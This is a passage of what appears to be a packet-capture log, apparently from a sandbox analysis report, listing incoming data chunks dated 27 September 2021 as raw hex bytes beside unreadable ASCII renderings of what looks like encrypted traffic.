c5 0e f0 5a c1 fb 2f 74 a8 2e 38 e1 c2 20 cb 02 9e 29 dd a9 41 66 59 58 86 Data Ascii: R2qwr1;J u7C{9.u%U!]42\|]2pxf}CrN#0GfuG$@ f9MecIRK6QGh,F%#wSecd]"Of$Uf.P4F~+>XZW\p'M,{XxAwZ/t.8 )AfYX
2021-09-27 16:55:59 UTC	28	IN	Data Raw: 0e 33 72 df d8 a1 a3 8c fa ec 63 1f 7f fe f7 92 23 d4 cc 92 19 99 b9 a6 52 98 41 ff e4 44 1b 24 b7 cb 08 3f 44 02 c4 43 f3 05 63 e8 18 36 b5 61 bc e7 da 1b b5 f2 1f 4b 98 f0 ec c9 a6 ba e9 51 9f 17 80 f5 b8 9c 10 3f 72 ba 96 ab 92 d1 c1 ff 7e 3b ef 01 ff 08 4f ef e8 ce f5 f6 4b 65 64 fb c3 f2 17 ea 52 91 e8 50 e0 c2 8e c3 7f f6 ae 42 2c f0 c4 3d 93 f9 f0 fd c0 5c f1 61 40 59 34 b7 7f 90 37 00 5f 73 c0 07 cd ea 5c 2d df 93 fe 12 c4 11 d1 d0 31 1f 17 bc c8 61 11 81 30 7d 6a 9f 38 d8 02 d3 58 0f 83 12 e4 55 1b 5d ec 69 3a dd b9 7f 91 a8 ce af 27 e5 eb ae f7 cd 8f 0f 16 66 36 38 90 c2 2b 10 da 09 0b 8c 6e 34 06 56 93 7c 25 a0 94 da 3b a2 d3 b4 e3 8c c8 e9 05 34 8a fc 2d e2 fc 29 70 3d fc 14 c8 68 de ef 8a 46 36 64 ab 0d 99 f8 75 d3 17 b7 18 95 b2 ce 20 c3 3f Data Ascii: 3rc#RAD$?DCc6aKQ?r~;OKedRPB,=\a@Y47_s\-1a0}j8XU]i:'f68+n4V\|%;4-)p=hF6du ?
2021-09-27 16:55:59 UTC	29	IN	Data Raw: 2a 3e 3a bc b3 39 1a c7 0d 06 7f d3 40 e6 fe 48 b6 dd 6c 1d 30 a1 e7 5a 97 f2 70 60 65 dd d6 03 7c bc 49 58 69 1b ec 31 c2 6f 40 10 ab 47 90 2c 6c 0a c0 3d 1f 3c 26 b9 8f 4c 96 09 77 c6 e6 5c 0c 9f 6f d1 bb ad 94 c6 70 aa 88 84 17 97 d8 54 b8 be 22 d2 5d 73 23 71 af 55 66 2e eb b7 50 37 74 1d c4 79 e4 2b 3e 67 58 29 65 f2 76 87 f5 a8 1f c7 30 9b 77 81 af 2e 7a 4b 9b 7d dd 69 57 bf 1b 23 98 6f 1a c5 0e fc 7a 81 a0 07 6b a9 2e 32 c9 e2 21 cd 08 8f 2d 27 bc 47 7f 80 0a 86 18 97 50 39 fa 9e b6 a6 9b 46 f8 97 79 8a d0 10 1a 69 06 62 4f 49 15 bf 64 bb 25 b6 32 ad d7 ab 70 32 52 05 e5 b7 b2 24 d9 49 91 6f 8c 96 de 47 47 d8 87 2b 47 d5 aa 1c 8a 0f 9d 26 f4 57 ce 2b 44 b9 c0 1a 90 44 e1 06 2a 86 3a 91 65 61 70 e9 51 c0 dc fd 66 f2 7c c2 4d 19 bd 68 75 0d 3d 55 b2 Data Ascii: >:9@Hl0Zp`e\|IXi1o@G,l=<&Lw\opT"]s#qUf.P7ty+>gX)ev0w.zK}iW#ozk.2!-'GP9FyibOId%2p2R$IoGG+G&W+DD:eapQf\|Mhu=U
2021-09-27 16:55:59 UTC	31	IN	Data Raw: e5 00 22 c2 91 ec 6b cf 74 86 ac 22 d0 b1 45 e3 f6 d5 2b b4 b3 ea 03 c7 7b ee 3a 71 59 34 b7 7d 9d 52 1b 4e 74 b4 4a db eb 56 2b 0c 80 f4 08 e7 16 d1 d6 43 b6 16 90 cf ac 12 bd aa 55 7b 9e 24 d2 09 cf 4b ee 83 53 d5 4b 00 a3 ed 45 35 ce b3 3c 0a 8c b8 ae 2b ef f8 aa e8 c6 ac 05 16 1e 39 27 88 04 2a 3c c1 0e 0b bd 9f 18 a0 51 74 6e 06 b3 87 5b 93 b7 a3 02 19 91 03 f2 cb 29 8d 1b 32 f4 e4 3f 7c 2c fb 18 c8 68 de fc 9e 43 3e 66 34 b5 85 6a 3c fa 0e b4 33 9a 91 63 db 34 d9 50 b5 52 f0 d5 00 d7 9d 5b 68 e4 d3 6d aa 31 45 7f 6d 64 f5 4b eb 36 50 4d 6e e5 39 9d 54 5c af 27 8f 5e 49 b3 ad 06 86 6b 22 be 9d f3 cc 1b a3 35 47 f5 22 66 62 2e 6b 2e c7 39 52 78 4c f4 02 c7 5d 3f 83 f3 b0 12 02 9d a4 d1 fc 52 d6 10 9e ff 39 cf d6 fb 9f 95 31 e3 32 44 43 a9 bf d3 66 94 Data Ascii: "kt"E+{:qY4}RNtJV+CU{$KSKE5<+9'*<Qtn[)2?\|,hC>f4j<3c4PR[hm1EmdK6PMn9T\'^Ik"5G"fb.k.9RxL]?R912DCf
2021-09-27 16:55:59 UTC	32	IN	Data Raw: 15 de 80 e7 07 33 95 37 64 64 0e 7e 9f c6 8f 08 ed 2b 97 77 89 b7 d2 7b 67 97 d5 cc 68 7f de 1a 23 92 9b fb dc 02 f0 72 97 5e 06 47 ab 39 3e c9 ea 3a 35 09 a3 2f e7 bd 6c ce 6b 23 86 18 98 4b 09 f8 84 80 a6 9a 55 c8 92 79 05 d2 3d 1b 79 04 0d a7 5f 06 b1 70 2e 27 a1 5d 57 c6 af 62 12 5f 01 d4 a8 d2 23 e8 62 95 6f 97 4c c4 bb 29 0f 8f 22 52 2b 70 39 a6 1c 99 2c cd 6b d9 d5 4f 4b c3 28 83 40 e0 0b 2e 9f c4 90 45 6a 7b f5 79 f7 c7 fd 6c f8 66 d1 68 19 a4 45 6e ff 26 79 a2 3c 24 1c 36 d1 79 3b bc 9c 7e b1 32 82 d3 60 dd 34 d3 1c b5 77 4d 2b 89 aa d1 83 c9 56 e2 19 2f 27 0b 25 d1 22 be 9a 4e 3c a4 6a c4 c2 54 c5 1f 87 39 79 4c bd 4e 4c 9c e6 a2 67 c6 dc c9 d5 d0 e5 69 89 0e 5c 2c 51 dc 55 c5 dc c0 47 0e 2a 2b 0d 3b 5d fb a9 40 aa 43 1d 53 29 bf 32 8f c9 64 19 Data Ascii: 37dd~+w{gh#r^G9>:5/lk#KUy=y_p.']Wb_#boL)"R+p9,kOK(@.Ej{ylfhEn&y<$6y;~2`4wM+V/'%"N<jT9yLNLgi\,QUG*+;]@CS)2d
2021-09-27 16:55:59 UTC	33	IN	Data Raw: 87 2c a6 3b cb 1f 06 ad 09 22 19 d2 6b 6a 00 3d 21 e0 10 a8 4b 05 2d 92 9c 49 fb ac a0 fc 27 e5 ef 39 f2 8a 22 06 b8 de 46 63 81 46 37 7f 2c 34 2d a0 ca 75 95 9e 0d 9e a9 c8 26 e1 38 54 e9 64 c0 dc 02 cb 9c 5b 73 9d db 6d eb 27 56 7b 69 4c f4 5a c3 2b 42 49 7f 33 f0 b1 57 4e 94 3d 8c 4f 4b 83 77 07 aa 6d 2d 22 29 f1 e2 bf b1 31 51 fe 30 74 71 3a 7d 30 2f 2b 78 46 4c f4 39 e6 4c 38 93 c3 67 15 02 9b 83 dd d3 05 ff 37 97 f5 e1 7d f4 c4 80 bb 33 e9 38 f2 4e 95 93 c7 71 b6 3f 58 d1 df ab 4f a4 42 8a 23 b5 56 3c 7b 98 5b f2 35 40 ed eb 93 9b a2 89 53 8c e2 5d ef 1e 94 8b 74 28 33 e2 72 90 3b 61 ab 3b c0 bb 39 28 20 cd 93 df d2 1b 77 40 9c cc a6 43 f4 02 bb e5 59 4f 9d 1d 7f e8 3b 0b d1 9b 53 3c 5e 91 ec 95 26 de e2 83 57 29 ff ae 75 2d 86 03 4c 37 9e 7d 5c dc Data Ascii: ,;"kj=!K-I'9"FcF7,4-u&8Td[sm'V{iLZ+BI3WN=OKwm-")1Q0tq:}0/+xFL9L8g7}38Nq?XOB#V<{[5@S]t(3r;a;9( w@CYO;S<^&W)u-L7}\
2021-09-27 16:55:59 UTC	34	IN	Data Raw: 4a 77 fb c9 c1 37 37 5e 86 e6 54 d5 d0 86 aa 00 d1 ae 48 fa 96 4d 3a bb a6 e3 fa d7 51 e9 15 75 49 33 33 db f6 8f 09 4e 7e be 23 a3 97 56 21 0b 8b fc 12 f9 1e af 8b 5e 48 1d af cb ac 10 c4 64 7d 6a 94 37 d7 13 de 2b b4 83 42 d0 47 1a 4c e1 06 6c df b9 2e 83 aa 77 9c 0e cd dc ae f7 d4 ac 1a 07 06 1a 32 81 f3 44 e8 cb 1f 0d b3 1c 3d 26 76 6d 7d 03 6d 83 40 9f a9 81 dd 3a be 3a c9 d3 b9 ab ef 3c cb cf 30 7c 37 2a 0e 1c 69 f2 ff c8 34 31 66 27 ba 9a 76 52 fb 22 b6 7c 9f a9 c2 d4 cb 26 56 d7 77 f0 d5 02 fd 9d 5b 73 d4 db 6d 7e 30 45 7f 77 64 f5 5a 69 2a 53 4d 75 cd f1 9d 4e 56 87 38 8e 5e 4f 9b 0d 07 86 61 6c ac 9e e7 18 1e b1 31 55 e7 23 70 71 2b 79 2b d1 2a 54 6a 4a e0 11 c0 82 39 95 db 27 13 02 9b 8d d6 d4 13 cd 10 94 f4 dd dd db c4 a8 95 3b eb 3d 3f 36 81 Data Ascii: Jw77^THM:QuI33N~#V!^Hd}j7+BGLl.w2D=&vm}m@::<0\|7i41f'vR"\|&Vw[sm~0EwdZiSMuNV8^Oal1U#pq+y+*TjJ9';=?6
2021-09-27 16:55:59 UTC	35	IN	Data Raw: d8 7c 34 74 17 cf a0 fc 3a 3b fd 3c 28 65 04 7d e8 90 a5 1f cd ec 45 7d 88 83 2a 73 24 cc d7 de 63 8b 98 1c 4c 8f b7 19 cf 24 f0 7b 9d a0 07 69 a9 65 32 d3 87 21 c5 08 8f 2d cc bd 47 71 71 6e f3 18 92 50 39 fa 84 ad 96 9e 55 49 92 79 05 9d 10 1a 42 12 69 2d 3e 07 bb 56 37 56 d4 33 ad cc a2 61 c4 57 46 7b a8 d2 23 af 78 94 6f 97 81 c2 ca 60 f5 8f 28 4b f0 6d 14 80 1a f6 01 e4 53 d3 c4 40 8d ac 2b 82 40 eb 06 2b 87 ab ba 48 6a 78 e3 51 9d dc fd 66 ea 62 c0 4c 76 87 6d 6e f9 2f 7e b3 3a 2e 28 22 c0 5a b5 0b f3 52 b0 32 88 da 93 c6 0f d4 67 be 39 4c 21 8a c7 a0 ed 99 5d 3e cd 27 41 76 22 d8 47 37 96 66 01 78 62 c9 85 7b c4 1f 87 cd 79 66 bd 4e 40 9c e6 a0 67 87 dc c5 90 d0 e7 73 89 0e 5d 35 61 d7 55 75 b2 c0 4d 4b 2a 2b 1c 5b 5a 82 33 0a aa 47 31 26 01 d8 35 Data Ascii: \|4t:;<(e}E}s$cL${ie2!-GqqnP9UIyBi->V7V3aWF{#xo`(KmS@+@+HjxQfbLvmn/~:.("ZR2g9L!]>'Av"G7fxb{yfN@gs]5aUuMK+[Z3G1&5
2021-09-27 16:55:59 UTC	36	IN	Data Raw: 16 0f 3c 57 e6 fb 2b 1a dd 85 2f d0 0e 34 04 42 7f 7f 21 cb 97 54 86 89 4d 02 35 91 04 d6 46 b9 a1 fa 05 f3 f6 30 76 40 a1 0e 36 6d f0 84 dc 50 31 62 5b c8 9b 76 c8 d3 5b b7 18 95 85 c0 fe d2 20 41 17 7d f6 ca 08 cc 31 85 7d f1 f3 5a fa 31 4f 74 79 5c f5 5a c9 f5 53 67 68 cc e1 9d 54 56 87 39 8c 06 17 9b 87 1c 86 61 2e 06 9c 9c 8a 1f b1 35 2f 95 22 70 7b 03 08 2a d1 20 79 7b 48 9b 44 c0 4f 3c bd ae eb 12 08 b3 15 d6 d4 15 f1 12 bc 8f e6 df f9 f9 ce 8a 2d c1 85 50 49 8b 07 b3 66 9e 9c 47 cb fd 36 53 b7 4c 0a 53 b1 4b c6 50 aa 51 d3 31 e0 c2 d3 39 88 a6 89 13 88 fc b2 f8 3e 88 25 63 b2 1b f3 7a 8c cf b0 92 33 e8 15 11 3c 26 c6 84 fb e6 12 69 b4 e9 f5 a8 3d 96 fc b0 e3 4e 78 e8 0f 7b e2 35 06 c2 92 a5 24 8c 8c e8 a7 5b bf e4 80 51 29 cb ae 75 2d fd 67 38 aa Data Ascii: <W+/4B!TM5F0v@6mP1b[v[ A}1}Z1Oty\ZSghTV9a.5/"p{* y{HDO<-PIfG6SLSKPQ19>%cz3<&i=Nx{5$[Q)u-g8
2021-09-27 16:55:59 UTC	38	IN	Data Raw: 68 cc 53 32 d3 ad d2 1f c0 5a 95 3c 9d 92 d5 91 f9 f5 8f 24 53 f2 62 6f f2 1c 99 22 cd 7d db d5 43 bd ed 00 83 46 8e d0 2f 9f c2 97 32 64 73 e0 7d 8f 90 fd 6c f8 6c 0f 43 1e 80 6a 69 9c 6b 79 a2 37 e3 2a 1e d1 5e 3a ac 9c 7e b3 32 84 d1 69 f6 1e db 08 da 38 4c 30 b3 ac c5 e0 9b 57 e2 47 2d 48 4b 0c 95 2b 60 90 6c 78 92 6b ce e0 67 c2 37 c8 e4 79 60 95 f6 5e 9c e0 8a 44 c2 dc d5 e7 96 ea 73 8f 26 79 37 61 d3 3a 2e dc c0 4d 4c 02 6c 1f 39 5e a8 f1 42 aa 41 1d 06 29 bf 3e c8 d3 66 19 02 39 5f fc 46 c5 dd b1 dd 17 e1 4f 5f f2 ab e1 a5 fd b7 2a 61 de e1 85 b2 8b 7e 73 31 c6 69 64 ac 93 22 d4 cc ee 2b 89 b1 b8 7d aa 09 fc e2 55 be 9a b5 cb 0f 04 6b 13 c8 5f ca 4c 48 f9 1e 1e 9b c3 ad e1 a6 2a a5 f9 01 58 a7 30 c0 c9 a0 93 43 5e 8e 1c be c1 24 8d 17 3f 9f b9 96 Data Ascii: hS2Z<$Sbo"}CF/2ds}llCjiky7^:~2i8L0WG-HK+`lxkg7y`^Ds&y7a:.MLl9^BA)>f9_FO_a~s1id"+}Uk_LH*X0C^$?
2021-09-27 16:55:59 UTC	39	IN	Data Raw: 3f 84 76 51 98 89 00 ae 45 2f ac 94 88 13 1f b1 3b 4e eb 30 75 71 3a 7c 36 2f 2b 78 6f 5c ed 0f d3 4a 38 84 de f5 1e fc 9a ae de dd 04 01 1d 8b f8 f4 da f3 c2 ad 8a 3c 17 3f 7c 47 88 96 d7 e8 29 a7 28 2e 2a 72 4c b9 55 8f 32 a0 4e dd 75 4a 52 d7 29 c6 4c c6 8d 88 a7 a3 5d 98 ef a6 ee 23 b5 98 9d b3 37 f8 70 b8 1e b1 be 31 ec 5f 0d 2f 25 cd 88 f2 fc e4 76 66 fc df a4 6b eb ff b0 e1 71 74 94 0e 71 87 e6 0f ce 98 b6 2e 77 8d d5 b9 3d 20 e5 ac 5c 72 69 ad 75 21 89 1c 2b af 9e 6c 58 ea c8 e6 90 75 bb 70 c4 84 d1 7d 6c 3c b2 b1 87 53 4d 4b 2c 0b 13 bb b3 1a 6a 80 f3 07 59 0d 6c e9 18 e9 4f 28 4d 0e 58 78 39 4b b8 f0 59 7b 55 d3 c5 c2 55 84 49 00 63 c5 fd 34 c0 d0 6a 51 d1 4c e3 94 6c 0a ca 83 18 53 f5 98 8f 46 85 d2 61 d5 eb 75 b2 9e 6f d1 aa a3 85 c9 ea a7 81 Data Ascii: ?vQE/;N0uq:\|6/+xo\J8<?\|G)(.*rLU2NuJR)L]#7p1_/%vfkqtq.w= \riu!+lXup}l<SMK,jYlO(MXx9KY{UUIc4jQLlSFauo
2021-09-27 16:55:59 UTC	40	IN	Data Raw: 62 5a 24 d0 38 60 96 66 0b f2 6a 4b 31 6c d4 05 8d e7 78 7d 8d 4b 5c a1 e6 a2 67 e2 dc df de d2 c5 7a 8b 61 94 37 61 d3 43 27 df d4 6d 63 bd 2b 1c 33 70 c7 49 40 a0 45 5a bd 29 bf 3e f4 8d 4d 8b 05 11 71 93 51 ce b2 81 d6 c9 e5 60 40 bb a8 eb b7 df 26 10 61 d8 c3 78 b2 8d 5e 5b 7b c5 68 72 84 b7 22 d4 c8 81 0e a5 b1 bc 60 82 42 fe f1 63 95 23 e3 ca 09 2c 13 13 c8 44 f4 13 4e c1 5d 37 bf c3 ad fa cc 09 5a f8 27 4b 89 7f eb a0 a5 bb fc 74 aa 1a 96 e8 4b 41 1d 17 db a0 85 a4 83 cd d2 73 ac 31 d2 01 eb ba ed ff e8 c4 ec e1 53 02 73 fb d2 ec 01 ca 5f ac ee 7e cf fc 86 ac 22 cf 61 48 f0 f9 c9 29 be ac e1 f8 de a9 f9 3e 6a 2b 88 bd 6c 93 2c 10 5d 71 af 34 c9 f5 58 df 00 b3 e6 23 0e 16 c0 d9 41 47 04 b9 c2 ac 1c b1 ce 7c 46 8a 22 da 2a bb 5b e1 85 6a fe 54 17 57 Data Ascii: bZ$8`fjK1lx}K\gza7aC'mc+3pI@EZ)>MqQ`@&ax^[{hr"`Bc#,DN]7Z'KtKAs1Ss_~"aH)>j+l,]q4X#AG\|F"*[jTW
2021-09-27 16:55:59 UTC	41	IN	Data Raw: ab 10 b1 1b f5 5a 07 30 b1 b4 2a e9 92 65 3f 20 cb f6 6f e7 1a 7d 5b e2 cb 8f 6b 80 ff b0 e1 71 c7 95 0e 71 f9 03 27 b8 91 ad 3b 1d 15 c5 bc 2f cf ee 92 7c 29 a2 ae 75 2d ab 92 39 aa 94 6c 74 dc 4e e4 bc 75 ff 7c da 8d c8 69 66 3f 9e 8f 00 51 61 4e 13 8f 17 bb a8 0e 5c b8 77 05 75 09 28 74 21 51 bb c6 b8 1a 1e 83 42 48 b2 dc 6f f7 64 d7 cf 3b 7d ac 35 5b 63 c3 83 ae e9 69 60 40 dd 55 b9 06 11 09 c0 8f 37 ab 27 98 85 5d bf f4 09 c5 e6 4b 63 07 6e d1 b1 bc 9e d6 59 82 f7 70 17 91 f0 e2 b9 be 28 db 75 67 4c f8 ae 55 6c 38 fa bf 47 ef 67 37 d7 75 de 5d 3d 92 58 21 b5 44 74 87 f4 8c 0b c7 30 91 5f f5 ae 2c 70 63 8a d7 de 63 44 9e 09 2e 89 b8 76 d0 0e f0 70 a9 37 06 6b a3 3c 30 e1 7b 20 cb 02 5f 67 cc bf 46 57 65 09 86 12 b0 50 38 fa 8e dc 70 b2 56 c9 92 73 09 Data Ascii: Z0*e? o}[kqq';/\|)u-9ltNu\|if?QaN\wu(t!QBHod;}5[ci`@U7']KcnYp(ugLUl8Gg7u]=X!Dt0_,pccD.vp7k<0{ _gFWeP8pVs
2021-09-27 16:55:59 UTC	43	IN	Data Raw: 88 ae 31 de c6 90 1b 94 4f b3 56 c1 53 fb ca 09 96 23 bd 8e 04 2c 48 13 2e 54 e2 00 19 06 e7 c9 39 3c 52 14 42 10 a4 f9 67 a0 70 82 88 c8 a6 bb e6 5c 8e 1a 69 e3 24 8d 11 17 d1 ba 9a a1 83 dc db 6f 52 30 f2 0a e9 92 dc fe e8 ce e2 f6 44 11 67 f1 dc f7 e4 35 72 87 f4 6f e2 cc 99 bf 22 f6 bf 42 ef e1 2b 3b 97 b7 f6 2d 8c 57 f8 13 4b 4c 34 bd 66 b1 52 08 4e 7e 87 34 cc ea 5c 32 04 80 f6 08 e2 16 d1 d3 41 44 e9 bd ee af 08 ae 18 c9 6a 9e 2e 54 2d d1 58 e0 90 47 c5 59 04 57 ec 78 30 c0 ae da 91 88 a0 96 c9 e4 eb ae e8 c6 ac 00 16 1e 3c 22 6e fb 07 06 c2 17 2f b6 0f 34 04 21 cc 7c 09 b9 be 45 8c a1 57 10 31 80 01 f4 d3 a8 ab e3 3f 1d f6 1c 6d 3b dc aa 37 69 f8 73 b6 50 31 67 36 bf 85 65 d1 f1 22 a7 12 80 a0 3c 21 e7 2b 47 c7 5f 55 d4 02 f7 8e 5e 6c de c8 67 fa Data Ascii: 1OVS#,H.T9<RBgp\i$oR0Dg5ro"B+;-WKL4fRN~4\2ADj.T-XGYWx0<"n/4!\|EW1?m;7isP1g6e"<!+G_U^lg
2021-09-27 16:55:59 UTC	44	IN	Data Raw: 26 42 b4 a9 21 08 37 a1 2a 4d a4 cb 40 0f ed d6 c5 2c 43 5e 5a 48 70 cc d4 f1 e8 69 6a 40 d0 56 99 06 0d 09 c0 8f 70 b6 27 98 89 5f 9c cd 70 d7 ef 65 6e 9c 6f d7 d4 27 95 c4 76 b9 83 62 11 83 26 74 a9 b8 5c 59 5c 73 29 76 87 7b 66 2e e1 a1 ae 34 14 31 e1 6f e3 07 1f ba 1f 28 65 04 65 80 e4 ad 37 a4 33 9b 71 ee 25 2d 7a 4d f4 4f de 69 5d 81 1e 0b 2f b6 19 c3 1d f6 6b 8b 88 88 6a a9 24 1f 8a f3 2a e3 87 8e 2d c6 92 7d 6e 77 25 b0 6b ba 52 39 fc 97 ba b7 96 44 c2 fd 51 07 d0 16 0b 5f 17 69 31 7b 04 bb 5a 2a 29 a7 34 c2 e0 ad 68 ca 42 25 cb 27 d1 29 c6 35 bf 6d 9d 94 c2 a8 4a 9b 97 23 58 ff 54 3f 93 1c 9f 35 e3 8d d6 f0 6d a2 c3 02 89 53 ec 3f 16 9f c4 9a 97 6a 63 e9 6e 2d ce f4 7d f0 77 c1 77 29 53 93 91 e2 32 6e 74 2e 31 3d 3a c0 51 b5 0b a3 d6 4f cd 7d d7 Data Ascii: &B!7M@,C^ZHpij@Vp'_peno'vb&t\Y\s)v{f.41o(ee73q%-zMOi]/kj$-}nw%kR9DQ_i1{Z*)4hB%')5mJ#XT?5mS?jcn-}ww)S2nt.1=:QO}
2021-09-27 16:55:59 UTC	45	IN	Data Raw: 60 c7 f9 d5 30 a8 a2 d8 c5 c6 57 f2 cc 63 49 38 aa ba 8a 2a 18 42 65 bc 1b 30 14 a9 de 10 8e f8 cd fb 07 d1 c8 4f 5a 99 0b fd db e7 54 cf 7b 40 9e 24 d8 03 cd 58 e1 83 42 44 54 1c f4 ec 7b 20 df b9 25 90 a4 84 af ec 11 ea a1 ed de bf 0b 05 3f 30 38 0e fa 2b 10 fe 1f 07 b6 19 27 0a 76 e2 7d 09 b3 96 45 88 b9 a3 02 19 8b 10 70 64 ae 7b eb fb 6e dc 30 7c 3c fe 17 25 6d f2 ee 8d 4c cf 67 09 bd 92 61 14 f7 3f a5 1c 9f b8 c6 3b 35 27 7a d0 71 f8 d7 0a 6c 9e 53 70 5a 6c 30 6b 50 d9 63 42 60 f5 4b c7 31 ad 4c 44 c8 da b4 4f 45 83 39 9d 5a 56 65 88 2a 8d 77 2d 22 29 f0 05 12 bd 2b 42 e3 23 61 75 3c 87 2a fd 29 4c 79 4e e0 00 c4 52 c6 94 f7 ed 1a 0b aa 3a c8 c7 17 d7 01 90 e3 19 de df d0 bf 86 35 e9 2f 54 57 7f 86 ff 64 b5 9d 60 bd 2a 72 ac b1 6c 8a 32 aa 7b c7 7a Data Ascii: `0WcI8Be0OZT{@$XBDT{ %?08+'v}Epd{n0\|<%mLga?;5'zqlSpZl0kPcB`K1LDOE9ZVew-")+B#au<)LyNR:5/TWd`rl2{z
2021-09-27 16:55:59 UTC	47	IN	Data Raw: 86 1f c9 2a 9b 77 80 af 2c 4a 4b 87 9b de 67 4d 90 1b 22 83 86 1a c5 52 f0 7a 81 fe 07 6b b8 5d 88 c9 e2 2b c1 0e f1 02 cd bf 43 57 66 0b 86 1e b0 09 3a fa 82 9e be 98 55 ce fd bf 05 d0 1a c4 5d 23 4a 69 5f 06 b1 50 13 1d b6 32 a7 18 af 6e b2 7c 28 e3 ac fa 3e c2 5a 93 47 c4 91 c4 bf 6e ed 8d 22 5e 9a ba 11 91 16 47 28 c0 7b ee d5 45 9f ce 2a bb 40 e1 1d f0 9f c2 ba 48 76 72 e0 79 fb db fd 70 db 66 df 53 19 ac 6d 6e f3 0c 79 be 71 3f 22 2e d1 5e 3a a7 ac 7d b1 6e 82 d1 4d 82 1e d1 19 a9 82 4c 2b 89 a2 c3 92 a9 56 e2 17 05 5f 58 24 d7 00 3b 95 66 0d 8c 72 cc ea 6a aa d9 8d e7 73 b8 b3 6a 74 ab e6 a2 6d ce f4 e7 cf d0 e3 ad 89 08 23 07 60 d9 51 3c ca c2 47 4d 02 70 1f 39 5e a8 51 42 aa 41 5a e3 29 bf 3e 3e 95 40 31 33 11 7b f6 4b e7 8a 8b dc 1d 35 48 71 91 Data Ascii: w,JKgM"Rzk]+CWf:U]#Ji_P2n\|(>ZGn"^G({E@HvrypfSmnyq?".^:}nML+V_X$;frjsjtm#`Q<GMp9^QBAZ)>>@13{K5Hq
2021-09-27 16:55:59 UTC	48	IN	Data Raw: 95 b3 96 5e a4 34 5d 03 3f f4 a7 ff d3 b3 ce 7b 2c e3 fd 27 13 b5 f5 0e 3c 06 7b fe 89 5a 22 63 0d 14 99 76 c4 88 a6 b7 18 95 a1 d3 25 e3 bd 56 c1 7d d8 7a 01 fd 9b 73 e8 d4 db 67 d2 ad 45 7f 5b 4c 60 5a c3 21 3c f8 69 cd fb f2 d3 57 87 33 9b 31 c7 9a 89 0c e9 e8 2e ac 94 f4 db 17 a0 34 79 7c 23 70 7b 03 d3 28 d1 2c 7c f1 4a e0 1b e8 d3 38 95 d1 e1 15 2a aa 82 d6 de 2a 01 10 94 f5 e0 ac 7e d2 a8 93 22 e7 e0 44 6c a9 b0 d3 66 94 8b 57 d7 d8 a5 6b b7 46 80 ef 0b 4b c2 7a a5 5d d3 89 d3 c1 d5 e2 0f a7 89 44 a5 fe a5 c4 24 a1 8d 0c 3a 1a f3 74 87 eb a2 a9 28 d0 82 9d 3c 20 cd 88 f9 f7 0a 60 25 61 d8 a6 45 e6 ed a1 e9 48 40 8e 61 f2 e9 2a 09 dd 81 bc 33 63 9d dd d3 ac df e4 86 46 13 c4 bc 5d a4 82 05 32 87 d6 6c 4e dc b9 e6 bc 79 bd db ca 9f ea f7 6d 2d bd 8a Data Ascii: ^4]?{,'<{Z"cv%V}zsgE[L`Z!<iW31.4y\|#p{(,\|J8*~"DlfWkFKz]D$:t(< `%aEH@a3cF]2lNym-
2021-09-27 16:55:59 UTC	49	IN	Data Raw: 99 be 49 f3 60 07 0d 0d 9f 3b f3 cf c8 d3 5b 83 5f 13 85 5f e8 01 b2 8e c2 8f 43 7c ee f1 7f e4 d6 eb f0 e8 60 ce 45 0f 30 7d 68 ec 31 6f 3e 2c 39 33 3a c7 c2 2a ba 83 71 a7 ae 93 d7 46 af 33 d0 08 d0 35 45 3c ec 82 c4 ec 93 5e f5 7c 04 49 5a 2e d8 2b 67 f9 a1 0a a4 60 c2 c2 fb c5 1f 87 ef 6d 4e 00 4c 5c 9a ff 2f 60 c2 dc de dc d7 f8 74 9f 0c ff 26 66 ce 43 98 e2 c0 47 4a 88 3a 1b 21 5a 0e ff cc 95 47 35 24 8b ae 33 f3 93 74 11 10 05 62 71 69 cf b2 8a cf 1e fa 41 61 ac 34 f0 aa c2 18 b4 70 d1 d1 b0 2e 9a 7d 73 d8 c5 69 68 95 be 34 44 ea a0 00 80 a7 28 52 93 42 ff e8 83 84 23 b7 d0 21 38 48 13 c2 7d d6 01 4b f3 6c 24 bf c3 b6 15 c2 10 a4 8d 19 5f 8f 66 ac de a7 bb f0 4f 8a 0b 92 f6 0c 33 1e 17 d7 ad 1b a6 83 dc d6 7c 5a 21 f6 1c f6 82 eb c1 e8 ce fe 47 5f Data Ascii: I`;[__C\|`E0}h1o>,93:*qF35E<^\|IZ.+g`mNL\/`t&fCGJ:!ZG5$3tbqiAa4p.}sih4D(RB#!8H}Kl$_fO3\|Z!G_
2021-09-27 16:55:59 UTC	50	IN	Data Raw: 1f 7c af 34 a7 1f c1 18 51 76 81 a5 04 b1 4a 9b dd b1 a5 56 90 11 30 9e bf 31 59 0e f0 70 a9 b6 05 6b af 3d 35 d8 e5 0c cc 0e 84 f0 a5 bd 47 7f 67 18 80 0f 42 43 2b e9 8f 8e 9f 98 55 c8 83 71 2d 12 13 1a 55 2e a3 5d 5f 00 aa 57 13 d8 b6 32 ab d1 22 37 cc 53 28 f0 bb c3 3a d6 45 98 f2 8c 81 ab f0 47 f4 85 31 54 e4 70 07 0b 10 88 2a f2 c9 ca d0 36 63 c2 02 85 53 e8 06 27 8e c8 8a d3 42 14 e1 79 f1 b2 0a 6d f9 60 c2 44 08 a1 78 46 30 3f 79 a4 2a b2 2b 34 d1 5f 28 a8 8d 6a a7 24 0e ee 4d dc 1f 73 19 ce 2c 58 3f ab 0b c5 ec 93 43 ca d0 2e 48 5c 33 5c 2f 60 96 67 18 b1 7b db fc 7b 49 20 8d e7 78 c4 ac 5a 48 88 f2 8a c4 c2 dc d5 db f8 2a 70 89 08 4a ba 66 d9 55 15 ce d6 56 5d 3c 3c 90 06 58 80 49 e2 bb 51 21 31 3d 97 97 e0 9b 6f 0d 2c d5 78 fc 40 d9 3f 8c dc 17 Data Ascii: \|4QvJV01Ypk=5GgBC+Uq-U.]_W2"7S(:EG1Tp6cS'Bym`DxF0?y+4_(j$Ms,X?C.H\3\/`g{{I xZH*pJfUV]<<XIQ!1=o,x@?
